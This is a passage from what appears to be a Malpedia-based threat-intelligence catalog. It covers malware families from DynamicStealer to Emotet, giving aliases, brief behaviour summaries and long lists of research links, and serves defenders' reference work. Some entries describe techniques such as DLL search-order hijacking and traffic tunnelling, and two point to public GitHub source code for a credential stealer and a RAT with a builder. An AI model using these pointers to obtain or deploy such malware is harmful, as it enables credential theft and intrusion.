https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://github.com/649/APT38-DYEPACK
https://content.fireeye.com/apt/rpt-apt38

DynamicStealer

Dynamic Stealer is a Github Project C# written code by L1ghtN4n. This code collects passwords and uploads these to Telegram. According to Cyble this Eternity Stealer leverages code from this project and also Jester Stealer could be rebranded from it.

The tag is: *misp-galaxy:malpedia="DynamicStealer"*

DynamicStealer is also known as:

Table 2089. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dynamicstealer
https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/

Dyre

The tag is: *misp-galaxy:malpedia="Dyre"*

Dyre is also known as:

- Dyreza

Table 2090. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre
https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group
http://www.secureworks.com/research/threat-profiles/gold-blackburn
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/
https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf
https://www.secureworks.com/research/threat-profiles/gold-blackburn
https://www.fireeye.com/blog/threat-research/2015/07/dyre_banking_trojan.html
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.secureworks.com/research/dyre-banking-trojan

EagleMonitorRAT

This RAT written in C# was derived from HorusEyesRat. It was modified by "Arsium" and published on GitHub. There is also a client builder included. Github Source: https://github.com/arsium/EagleMonitorRAT

The tag is: *misp-galaxy:malpedia="EagleMonitorRAT"*

EagleMonitorRAT is also known as:

Table 2091. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eagle_monitor_rat
https://blog.cyble.com/2022/04/18/under-the-lens-eagle-monitor-rat/

EASYNIGHT

FireEye describes EASYNIGHT is a loader observed used with several malware families, including HIGHNOON and HIGHNOON.LITE. The loader often acts as a persistence mechanism via search order hijacking.

Examples include a patched bcrypt.dll with no other modification than an additional import entry, in the observed case "printwin.dll!gzwrite64" (breaking the file signature).

The tag is: *misp-galaxy:malpedia="EASYNIGHT"*

EASYNIGHT is also known as:

Table 2092. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.easynight
https://content.fireeye.com/api/pdfproxy?id=86840
https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/

EDA2

The tag is: *misp-galaxy:malpedia="EDA2"*

EDA2 is also known as:

Table 2093. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eda2_ransom
https://twitter.com/JaromirHorejsi/status/815861135882780673
https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/

Egregor

The tag is: *misp-galaxy:malpedia="Egregor"*

Egregor is also known as:

Table 2094. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.egregor
https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf
https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf
https://areteir.com/wp-content/uploads/2021/01/01182021_Egregor_Insight.pdf
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html
https://go.recordedfuture.com/hubfs/reports/cta-2020-1203.pdf
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://unit42.paloaltonetworks.com/egregor-ransomware-courses-of-action/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/
https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware
https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/
https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html
https://securelist.com/targeted-ransomware-encrypting-data/99255/
https://www.bleepingcomputer.com/news/security/barnes-and-noble-hit-by-egregor-ransomware-strange-data-leaked/
https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html
https://www.intrinsec.com/egregor-prolock/
https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/EGREGOR%20REPORT%20WEB%20FINAL.pdf
https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis
https://therecord.media/frances-lead-cybercrime-investigator-on-the-egregor-arrests-cybercrime/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html
https://www.group-ib.com/blog/egregor
https://www.appgate.com/news-press/appgate-labs-analyzes-new-family-of-ransomware-egregor
https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/
https://ssu.gov.ua/en/novyny/sbu-zablokuvala-diialnist-transnatsionalnoho-khakerskoho-uhrupovannia
https://blog.malwarebytes.com/ransomware/2020/12/threat-profile-egregor-ransomware-is-making-a-name-for-itself/
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.bleepingcomputer.com/news/security/largest-global-staffing-agency-randstad-hit-by-egregor-ransomware/
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.trendmicro.com/en_us/research/20/l/egregor-ransomware-launches-string-of-high-profile-attacks-to-en.html
https://www.bleepingcomputer.com/news/security/metro-vancouvers-transit-system-hit-by-egregor-ransomware/
https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/
https://www.bleepingcomputer.com/news/security/retail-giant-cencosud-hit-by-egregor-ransomware-attack-stores-impacted/
https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/
https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/
https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/

https://blog.emsisoft.com/en/37810/ransomware-profile-egregor/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://id-ransomware.blogspot.com/2020/09/egregor-ransomware.html
https://www.bleepingcomputer.com/news/security/translink-confirms-ransomware-data-theft-still-restoring-systems/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://twitter.com/redcanary/status/1334224861628039169
https://www.bleepingcomputer.com/news/security/kmart-nationwide-retailer-suffers-a-ransomware-attack/
https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html
https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://securityintelligence.com/posts/egregor-ransomware-negotiations-uncovered/
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/
https://intel471.com/blog/egregor-arrests-ukraine-sbu-maze-ransomware
https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
https://www.zdnet.com/article/ubisoft-crytek-data-posted-on-ransomware-gangs-site/
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

EHDevel

The tag is: *misp-galaxy:malpedia="EHDevel"*

EHDevel is also known as:

Table 2095. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel
https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/

ELECTRICFISH

The application is a command-line utility and its primary purpose is to tunnel traffic between two

IP addresses. The application accepts command-line arguments allowing it to be configured with a destination IP address and port, a source IP address and port, a proxy IP address and port, and a user name and password, which can be utilized to authenticate with a proxy server. It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be tunneled between two machines. If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility.

The tag is: *misp-galaxy:malpedia="ELECTRICFISH"*

ELECTRICFISH is also known as:

Table 2096. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.electricfish
https://www.us-cert.gov/ncas/analysis-reports/AR19-129A
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

ElectricPowder

The tag is: *misp-galaxy:malpedia="ElectricPowder"*

ElectricPowder is also known as:

Table 2097. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder
https://www.clearskysec.com/iec/

Elirks

The tag is: *misp-galaxy:malpedia="Elirks"*

Elirks is also known as:

Table 2098. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

Elise

The tag is: *misp-galaxy:malpedia="Elise"*

Elise is also known as:

- EVILNEST

Table 2099. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elise
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://documents.trendmicro.com/assets/threat-reports/rpt-1h-2014-targeted-attack-trends-in-asia-pacific.pdf
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.accenture.com/t20180127T003755Z_w_/us-en/*acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z_w*/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf]
https://www.secureworks.com/research/threat-profiles/bronze-elgin
https://www.joesecurity.org/blog/8409877569366580427
https://securelist.com/blog/research/70726/the-spring-dragon-apt/
https://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/
https://www.accenture.com/t20180127T003755Z*w*/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z*w*/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf]
https://www.fireeye.com/blog/threat-research/2020/04/code-grafting-to-unpack-malware-in-emulation.html

El Machete APT Backdoor Dropper

This dropper masquerades itself as Adobe software, titled as Adobe.msi. It is used to executes the python written Backdoor used by this threat actor.

The tag is: *misp-galaxy:malpedia="El Machete APT Backdoor Dropper"*

El Machete APT Backdoor Dropper is also known as:

Table 2100. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elmachete_dropper_2022

https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/

ELMER

ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.

The tag is: *misp-galaxy:malpedia="ELMER"*

ELMER is also known as:

- Elmost

Table 2101. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elmer
https://attack.mitre.org/software/S0064
https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
https://www.symantec.com/security-center/writeup/2015-122210-5724-99
https://attack.mitre.org/groups/G0023

Emdivi

The tag is: *misp-galaxy:malpedia="Emdivi"*

Emdivi is also known as:

Table 2102. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi
http://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/
http://blog.trendmicro.com/trendlabs-security-intelligence/attackers-target-organizations-in-japan-transform-local-sites-into-cc-servers-for-emdivi-backdoor/
https://securelist.com/new-activity-of-the-blue-termite-apt/71876/
http://blog.jpcert.or.jp/2015/11/decrypting-strings-in-emdivi.html
https://www.macnica.net/file/security_report_20160613.pdf

https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/

Emissary

The tag is: *misp-galaxy:malpedia="Emissary"*

Emissary is also known as:

Table 2103. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emissary
https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/

Emotet

While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets. It is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time. Emotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.

The tag is: *misp-galaxy:malpedia="Emotet"*

Emotet is also known as:

- Geodo
- Heodo

Table 2104. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet
https://www.proofpoint.com/us/blog/threat-insight/emotet-tests-new-delivery-techniques
https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/
https://blog.lumen.com/emotet-redux/
https://www.digitalshadows.com/blog-and-research/how-cybercriminals-are-taking-advantage-of-covid-19-scams-fraud-misinformation/

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.dragos.com/blog/industry-news/suspected-conti-ransomware-activity-in-the-auto-manufacturing-sector/
https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware
https://www.youtube.com/watch?v=_mGMJFNJWSk
https://feodotracker.abuse.ch/?filter=version_e
https://adalogics.com/blog/the-state-of-advanced-code-injections
https://de.darktrace.com/blog/emotet-resurgence-cross-industry-campaign-analysis
https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html
https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html
https://www.hornetsecurity.com/en/security-information/awaiting-the-inevitable-return-of-emotet/
https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns
https://www.binarydefense.com/emotet-evolves-with-new-wi-fi-spreader/
https://www.secureworks.com/research/threat-profiles/gold-crestwood
https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?*blob=publicationFile&v=2[https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf*?blob=publicationFile&v=2]
https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/
https://www.youtube.com/watch?v=EyDiIAt*dI[https://www.youtube.com/watch?v=EyDiIAt*dI]
https://exchange.xforce.ibmcloud.com/collection/18f373debc38779065a26f1958dc260b
https://blogs.vmware.com/security/2022/08/how-to-replicate-emotet-lateral-movement.html
https://asec.ahnlab.com/en/33600/
https://threatresearch.ext.hp.com/emotets-return-whats-different/
https://forensicitguy.github.io/emotet-excel4-macro-analysis/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://quickheal.co.in/documents/technical-paper/Whitepaper_HowToPM.pdf
https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/
https://unit42.paloaltonetworks.com/new-emotet-infection-method/

https://www.bleepingcomputer.com/news/security/microsoft-emotet-took-down-a-network-by-overheating-all-computers/
https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/
https://twitter.com/ContiLeaks/status/1498614197202079745
https://www.bleepingcomputer.com/news/security/united-nations-targeted-with-emotet-malware-phishing-attack/
https://cert.grnet.gr/en/blog/reverse-engineering-emotet/
https://www.fortinet.com/blog/threat-research/bad-actors-capitalize-current-events-email-scams
https://marcoramilli.com/2019/10/14/is-emotet-gang-targeting-companies-with-external-soc/
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/
https://www.binarydefense.com/emocrash-exploiting-a-vulnerability-in-emotet-malware-for-defense/
https://securelist.com/emotet-modules-and-recent-attacks/106290/
https://www.fortinet.com/blog/threat-research/ms-office-files-involved-again-in-recent-emotet-trojan-campaign-part-ii
https://www.infosecurity-magazine.com/blogs/a-rundown-of-the-emotet-malware/
https://d00rt.github.io/emotet_network_protocol/
https://www.cronup.com/la-botnet-de-emotet-reinicia-ataques-en-chile-y-latinoamerica/
https://blogs.vmware.com/networkvirtualization/2022/02/emotet-is-not-dead-yet-part-2.html/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://dissectingmalwa.re/return-of-the-mummy-welcome-back-emotet.html
https://github.com/cecio/EMOTET-2020-Reversing
https://blogs.vmware.com/security/2022/05/emotet-moves-to-64-bit-and-updates-its-loader.html
https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html
https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/
https://www.dsih.fr/article/4483/emotet-de-retour-poc-exchange-0-day-windows-a-quelle-sauce-les-attaquants-prevoient-de-nous-manger-cette-semaine.html
https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment
https://www.kroll.com/en/insights/publications/cyber/monitor/emotet-analysis-new-lnk-in-the-infection-chain
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.tagesschau.de/investigativ/br-recherche/emotet-schadsoftware-103.html
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://www.zscaler.com/blogs/security-research/return-emotet-malware
https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/
https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmwcb-report-modern-bank-heists-2020.pdf
https://www.netskope.com/blog/emotet-still-abusing-microsoft-office-macros
https://securelist.com/the-chronicles-of-emotet/99660/
https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes
https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection
https://team-cymru.com/blog/2021/01/27/taking-down-emotet/
https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection
https://threatpost.com/emotet-spreading-malicious-excel-files/178444/
https://www.cert.govt.nz/it-specialists/advisories/emotet-malware-being-spread-via-email/
https://www.wiwo.de/my/technologie/digitale-welt/emotet-netzwerk-wie-eines-der-groessten-hacker-netzwerke-der-welt-lahmgelegt-wurde/27164048.html
https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903
https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/
https://www.netskope.com/blog/you-can-run-but-you-cant-hide-advanced-emotet-updates
https://blog.vincss.net/2021/01/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-Emotet-samples.html
https://blog.kryptoslogic.com/malware/2018/10/31/emotet-email-theft.html
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf
https://www.deepinstinct.com/blog/the-re-emergence-of-emotet
https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html
http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1
https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html
https://r3mrum.wordpress.com/2021/01/05/manual-analysis-of-new-powersplit-maldocs-delivering-emotet/
https://blogs.jpcert.or.jp/en/2021/02/emotet-notice.html
https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware
https://www.blueliv.com/blog/research/where-is-emotet-latest-geolocation-data/
https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89

https://persianov.net/emotet-malware-analysis-part-1
https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/
https://twitter.com/eduardfir/status/1461856030292422659
https://www.bleepingcomputer.com/news/security/emotet-now-drops-cobalt-strike-fast-forwards-ransomware-attacks/
https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html
https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world-unlocks/
https://www.zscaler.com/blogs/research/emotet-back-action-after-short-break
https://blog.malwarebytes.com/botnets/2019/09/emotet-is-back-botnet-springs-back-to-life-with-new-spam-campaign/
https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html
https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken—the-resurgence-of-the-emotet-botnet-malw.html
https://www.youtube.com/watch?v=_BLOmClsSpc
https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/
https://www.bleepingcomputer.com/news/security/emotet-botnet-switches-to-64-bit-modules-increases-activity/
https://www.politie.nl/nieuws/2021/februari/17/politie-bestrijdt-cybercrime-via-nederlandse-infrastructuur.html
https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles
https://web.archive.org/web/20211223100528/https://cloudsek.com/emotet-2-0-everything-you-need-to-know-about-the-new-variant-of-thbanking-trojan/
https://www.spamtitan.com/blog/emotet-malware-revives-old-email-conversations-threads-to-increase-infection-rates/
https://news.sophos.com/en-us/2020/07/28/emotets-return-is-the-canary-in-the-coal-mine/?cmp=30728
https://www.jpcert.or.jp/english/at/2019/at190044.html
https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them
https://www.proofpoint.com/us/blog/threat-insight/geofenced-amazon-japan-credential-phishing-volumes-rival-emotet
https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/
https://medium.com/brim-securitys-knowledge-funnel/hunting-emotet-with-brim-and-zeek-1000c2f5c1ff
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-003.pdf
https://isc.sans.edu/diary/rss/28254

https://www.youtube.com/watch?v=8PHCZdpNKrw
https://www.youtube.com/watch?v=q8of74upT_g
https://blog.trendmicro.com/trendlabs-security-intelligence/exploring-emotet-examining-emotets-activities-infrastructure/
https://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code
https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes
https://www.tgsoft.it/files/report/download.asp?id=7481257469
https://community.riskiq.com/article/2cd1c003
https://www.eurojust.europa.eu/worlds-most-dangerous-malware-emotet-disrupted-through-global-action
https://cyber.wtf/2021/11/15/guess-whos-back/
https://blogs.cisco.com/security/emotet-is-back
https://www.hornetsecurity.com/en/security-information/emotet-is-back/
https://www.ironnet.com/blog/detecting-a-mummyspider-campaign-and-emotet-infection
https://cdn.www.carbonblack.com/wp-content/uploads/2020/05/VMWCB-Report-Modern-Bank-Heists-2020.pdf
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.youtube.com/watch?v=AkZ5TYBqcU4
https://cofense.com/flash-bulletin-emotet-epoch-1-changes-c2-communication/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf
https://twitter.com/Cryptolaemus1/status/1516535343281025032
https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-rebuilding-its-botnet-via-trickbot/
https://pl-v.github.io/plv/posts/Emotet-unpacking/
https://blogs.jpcert.or.jp/en/2019/12/emotetfaq.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.bleepingcomputer.com/news/security/emotet-malware-now-steals-your-email-attachments-to-attack-contacts/
https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf
https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html
https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return
https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/

https://www.hornetsecurity.com/en/security-informationen-en/webshells-powering-emotet/
https://www.hornetsecurity.com/en/threat-research/emotet-botnet-takedown/
https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure
https://www.trendmicro.com/en_us/research/22/a/emotet-spam-abuses-unconventional-ip-address-formats-spread-malware.html
https://unit42.paloaltonetworks.com/c2-traffic/
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-emotet
https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf
https://therecord.media/over-780000-email-accounts-compromised-by-emotet-have-been-secured/
https://blog.malwarebytes.com/trojans/2020/07/long-dreaded-emotet-has-returned/
https://notes.netbytesec.com/2021/02/deobfuscating-emotet-macro-and.html
https://atr-blog.gigamon.com/2020/01/13/emotet-not-your-run-of-the-mill-malware/
https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled
https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/
https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022
https://www.deepinstinct.com/2020/08/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before/
https://www.inde.nz/blog/analysis-of-the-latest-wave-of-emotet-malicious-documents
https://hello.global.ntt/en-us/insights/blog/emotet-disruption-europol-counterattack
https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf
https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware
https://www.anomali.com/blog/mummy-spiders-emotet-malware-is-back-after-a-year-hiatus-wizard-spiders-trickbot-observed-in-its-return
https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69
https://www.digitalshadows.com/blog-and-research/emotet-disruption/
https://www.deepinstinct.com/2020/10/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/
https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus
https://security-soup.net/quick-post-spooky-new-powershell-obfuscation-in-emotet-maldocs/
https://www.proofpoint.com/us/blog/threat-insight/emotet-makes-timely-adoption-political-and-elections-lures

https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/
https://muha2xmad.github.io/unpacking/emotet-part-1/
https://mirshadx.wordpress.com/2020/11/22/analyzing-an-emotet-dropper-and-writing-a-python-script-to-statically-unpack-payload/
https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/
https://github.com/d00rt/emotet_research
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-one-592612
https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/
